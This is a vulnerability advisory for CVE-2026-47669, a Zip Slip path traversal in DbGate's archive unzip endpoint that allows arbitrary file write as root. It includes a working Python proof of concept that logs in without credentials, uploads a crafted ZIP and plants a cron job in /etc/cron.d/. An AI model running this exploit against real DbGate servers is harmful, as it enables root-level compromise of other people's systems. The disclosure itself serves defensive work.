CVE-2026-47669: DbGate: Zip Slip in archive/unzip allows arbitrary file write leading to RCE

The unzipDirectory() function in packages/api/src/shell/unzipDirectory.js (line 27) does not validate that extracted file paths stay within the output directory. A malicious ZIP with ../ entries writes files anywhere on the filesystem.

In the default Docker deployment, DbGate runs as root and the none auth provider issues JWT tokens without credentials via POST /auth/login, so this is exploitable by any network-adjacent attacker.

Affected code:

packages/api/src/shell/unzipDirectory.js, line 27:

const destPath = path.join(outputDirectory, entry.fileName);
// No check that destPath stays within outputDirectory

Called from packages/api/src/controllers/archive.js, lines 291-293:

async unzip({ folder }) {
    const newFolder = await this.getNewArchiveFolder({ database: folder.slice(0, -4) });
    await unzipDirectory(path.join(archivedir(), folder), path.join(archivedir(), newFolder));

The archive controller also has zero permission checks and zero path traversal protection on any of its endpoints.

PoC:

import requests, zipfile, io

TARGET = "http://localhost:3000"

# Get auth token (no credentials needed in default Docker)
r = requests.post(f"{TARGET}/api/auth/login", json={"amoid": "none"})
token = r.json()["accessToken"]
hdrs = {"Authorization": f"Bearer {token}"}

# Create malicious ZIP with path traversal
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as zf:
    zf.writestr("../../../../../../etc/cron.d/dbgate-pwn",
                "* * * * * root id > /tmp/pwned\n")
buf.seek(0)

# Upload ZIP
r = requests.post(f"{TARGET}/api/uploads/upload", headers=hdrs,
                  files={"data": ("evil.zip", buf, "application/zip")})
info = r.json()

# Save to archive
requests.post(f"{TARGET}/api/archive/save-uploaded-zip", headers=hdrs,
              json={"filePath": info["filePath"], "fileName": "evil.zip"})

# Trigger Zip Slip - writes cron job to /etc/cron.d/
requests.post(f"{TARGET}/api/archive/unzip", headers=hdrs,
              json={"folder": "evil.zip"})
print("Check /tmp/pwned after 1 minute")

Impact: Arbitrary file write as root -> RCE. Full container compromise in Docker deployments.